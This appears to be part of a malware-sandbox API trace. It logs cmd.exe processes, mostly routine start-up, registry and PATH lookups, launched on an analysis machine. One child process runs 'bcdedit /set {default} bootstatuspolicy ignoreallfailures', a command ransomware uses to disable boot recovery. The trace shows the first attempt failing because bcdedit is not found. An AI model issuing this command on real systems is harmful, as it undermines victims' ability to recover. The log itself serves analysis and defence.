_wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0035.020] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0035.020] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0035.020] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0035.020] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0035.020] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0035.020] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0035.020] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0035.020] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0035.020] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0035.020] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0035.020] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0035.020] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0035.020] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0035.020] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0035.020] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0035.020] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0035.020] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0035.020] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.021] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x210) returned 0x7d3120 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.021] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x5e) returned 0x7d3338 [0035.021] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.021] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x418) returned 0x7c07f0 [0035.021] SetErrorMode (uMode=0x0) returned 0x0 [0035.021] SetErrorMode (uMode=0x1) returned 0x0 [0035.021] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7c07f8, lpFilePart=0x41efe8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41efe8*="Desktop") returned 0x25 [0035.021] SetErrorMode (uMode=0x0) returned 0x1 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.021] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c07f0, Size=0x64) returned 0x7c07f0 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.021] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c07f0) returned 0x64 [0035.021] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0035.021] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0035.021] GetProcessHeap () returned 0x7c0000 [0035.022] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x120) returned 0x7d33a0 [0035.022] GetProcessHeap () returned 0x7c0000 [0035.022] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x238) returned 0x7c0860 [0035.027] GetProcessHeap () returned 0x7c0000 [0035.027] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c0860, Size=0x122) returned 0x7c0860 [0035.027] GetProcessHeap () returned 0x7c0000 [0035.027] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c0860) returned 0x122 [0035.027] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0035.027] GetProcessHeap () returned 0x7c0000 [0035.027] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xe0) returned 0x7d34c8 [0035.027] GetProcessHeap () returned 0x7c0000 [0035.027] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7d34c8, Size=0x76) returned 0x7d34c8 [0035.027] GetProcessHeap () returned 0x7c0000 [0035.028] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7d34c8) returned 0x76 [0035.028] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.028] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.028] GetLastError () returned 0x2 [0035.028] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.029] GetLastError () returned 0x2 [0035.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.029] GetLastError () returned 0x2 [0035.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.029] GetLastError () returned 0x2 [0035.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.029] GetLastError () returned 0x2 [0035.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.029] GetLastError () returned 0x2 [0035.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.029] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.030] GetLastError () returned 0x2 [0035.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.030] GetLastError () returned 0x2 [0035.030] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.030] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.031] GetLastError () returned 0x2 [0035.031] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41ed64, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41ed64) returned 0xffffffff [0035.033] GetLastError () returned 0x2 [0035.033] _get_osfhandle (_FileHandle=2) returned 0xb [0035.033] GetFileType (hFile=0xb) returned 0x2 [0035.033] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0035.033] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41f1b8 | out: lpMode=0x41f1b8) returned 1 [0035.033] _get_osfhandle (_FileHandle=2) returned 0xb [0035.033] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41f1ec | out: lpConsoleScreenBufferInfo=0x41f1ec) returned 1 [0035.034] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0035.034] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x41f22c | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0035.034] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a264640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x41f210, lpReserved=0x0 | out: lpBuffer=0x4a264640*, lpNumberOfCharsWritten=0x41f210*=0x62) returned 1 [0035.034] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.034] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0035.035] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.035] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0035.035] _get_osfhandle (_FileHandle=0) returned 0x3 [0035.035] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0035.035] SetConsoleInputExeNameW () returned 0x1 [0035.035] GetConsoleOutputCP () returned 0x1b5 [0035.035] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.035] SetThreadUILanguage (LangId=0x0) returned 0x409 [0035.035] exit (_Code=1) Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x318ae000" os_pid = "0x9ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x35c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x9fc [0035.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41fd0c | out: lpSystemTimeAsFileTime=0x41fd0c*(dwLowDateTime=0x396d37c0, dwHighDateTime=0x1d5ddc0)) [0035.394] GetCurrentProcessId () returned 0x9ec [0035.394] GetCurrentThreadId () returned 0x9fc [0035.394] GetTickCount () returned 0x1153045 [0035.394] QueryPerformanceCounter (in: lpPerformanceCount=0x41fd04 | out: lpPerformanceCount=0x41fd04*=17716074329) returned 1 [0035.395] GetModuleHandleA (lpModuleName=0x0) returned 0x4a230000 [0035.395] __set_app_type (_Type=0x1) [0035.395] __p__fmode () returned 0x76be31f4 [0035.395] __p__commode () returned 0x76be31fc [0035.396] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a2521a6) returned 0x0 [0035.396] __getmainargs (in: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c, _DoWildCard=0, _StartInfo=0x4a254140 | out: _Argc=0x4a254238, _Argv=0x4a254240, _Env=0x4a25423c) returned 0 [0035.396] GetCurrentThreadId () returned 0x9fc [0035.396] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9fc) returned 0x60 [0035.396] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0035.396] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0035.396] SetThreadUILanguage (LangId=0x0) returned 0x409 [0035.396] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0035.396] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fc9c | out: phkResult=0x41fc9c*=0x0) returned 0x2 [0035.397] VirtualQuery (in: lpAddress=0x41fcd3, lpBuffer=0x41fc6c, dwLength=0x1c | out: lpBuffer=0x41fc6c*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.397] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fc6c, dwLength=0x1c | out: lpBuffer=0x41fc6c*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0035.397] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fc6c, dwLength=0x1c | out: lpBuffer=0x41fc6c*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0035.397] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fc6c, dwLength=0x1c | out: lpBuffer=0x41fc6c*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0035.397] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fc6c, dwLength=0x1c | out: lpBuffer=0x41fc6c*(BaseAddress=0x420000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x120000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0035.397] GetConsoleOutputCP () returned 0x1b5 [0035.397] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.397] SetConsoleCtrlHandler (HandlerRoutine=0x4a24e72a, Add=1) returned 1 [0035.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.397] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0035.397] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.397] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0035.398] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.398] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0035.398] _get_osfhandle (_FileHandle=0) returned 0x3 [0035.398] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0035.398] _get_osfhandle (_FileHandle=0) returned 0x3 [0035.398] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0035.398] GetEnvironmentStringsW () returned 0x7720a0* [0035.398] GetProcessHeap () returned 0x760000 [0035.398] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x772b78 [0035.398] FreeEnvironmentStringsW (penv=0x7720a0) returned 1 [0035.399] GetProcessHeap () returned 0x760000 [0035.399] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4) returned 0x770cd8 [0035.399] GetEnvironmentStringsW () returned 0x7720a0* [0035.399] GetProcessHeap () returned 0x760000 [0035.399] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xaca) returned 0x773650 [0035.399] FreeEnvironmentStringsW (penv=0x7720a0) returned 1 [0035.399] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec0c | out: phkResult=0x41ec0c*=0x68) returned 0x0 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x0, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x1, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x1, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x0, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x40, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x40, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.399] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x40, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.399] RegCloseKey (hKey=0x68) returned 0x0 [0035.399] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec0c | out: phkResult=0x41ec0c*=0x68) returned 0x0 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x40, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x1, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x1, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x0, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x9, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x4, lpData=0x41ec18*=0x9, lpcbData=0x41ec10*=0x4) returned 0x0 [0035.400] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec14, lpData=0x41ec18, lpcbData=0x41ec10*=0x1000 | out: lpType=0x41ec14*=0x0, lpData=0x41ec18*=0x9, lpcbData=0x41ec10*=0x1000) returned 0x2 [0035.400] RegCloseKey (hKey=0x68) returned 0x0 [0035.400] time (in: timer=0x0 | out: timer=0x0) returned 0x5e3d6f9e [0035.400] srand (_Seed=0x5e3d6f9e) [0035.400] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0035.400] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0035.400] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0035.400] GetProcessHeap () returned 0x760000 [0035.400] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x7720a0 [0035.400] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7720a8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0035.401] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0035.401] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0035.401] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0035.401] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0035.401] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0035.401] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0035.401] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0035.401] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0035.401] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0035.401] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0035.401] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0035.401] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0035.401] GetProcessHeap () returned 0x760000 [0035.401] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x772b78 | out: hHeap=0x760000) returned 1 [0035.401] GetEnvironmentStringsW () returned 0x7722b8* [0035.401] GetProcessHeap () returned 0x760000 [0035.401] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xae2) returned 0x774c18 [0035.401] FreeEnvironmentStringsW (penv=0x7722b8) returned 1 [0035.401] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0035.401] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0035.401] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0035.401] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0035.401] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0035.401] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0035.401] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0035.401] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0035.401] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0035.401] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0035.401] GetProcessHeap () returned 0x760000 [0035.401] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x54) returned 0x775708 [0035.401] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41f9d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0035.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41f9d8, lpFilePart=0x41f9d4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f9d4*="Desktop") returned 0x25 [0035.402] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0035.402] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f754 | out: lpFindFileData=0x41f754*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x771f20 [0035.402] FindClose (in: hFindFile=0x771f20 | out: hFindFile=0x771f20) returned 1 [0035.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f754 | out: lpFindFileData=0x41f754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x771f20 [0035.402] FindClose (in: hFindFile=0x771f20 | out: hFindFile=0x771f20) returned 1 [0035.402] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0035.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f754 | out: lpFindFileData=0x41f754*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3870e600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3870e600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x771f20 [0035.402] FindClose (in: hFindFile=0x771f20 | out: hFindFile=0x771f20) returned 1 [0035.402] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0035.402] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0035.402] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0035.402] GetProcessHeap () returned 0x760000 [0035.402] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x774c18 | out: hHeap=0x760000) returned 1 [0035.402] GetEnvironmentStringsW () returned 0x774128* [0035.402] GetProcessHeap () returned 0x760000 [0035.402] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb36) returned 0x775f68 [0035.403] FreeEnvironmentStringsW (penv=0x774128) returned 1 [0035.403] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a255260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0035.403] GetProcessHeap () returned 0x760000 [0035.403] HeapFree (in: 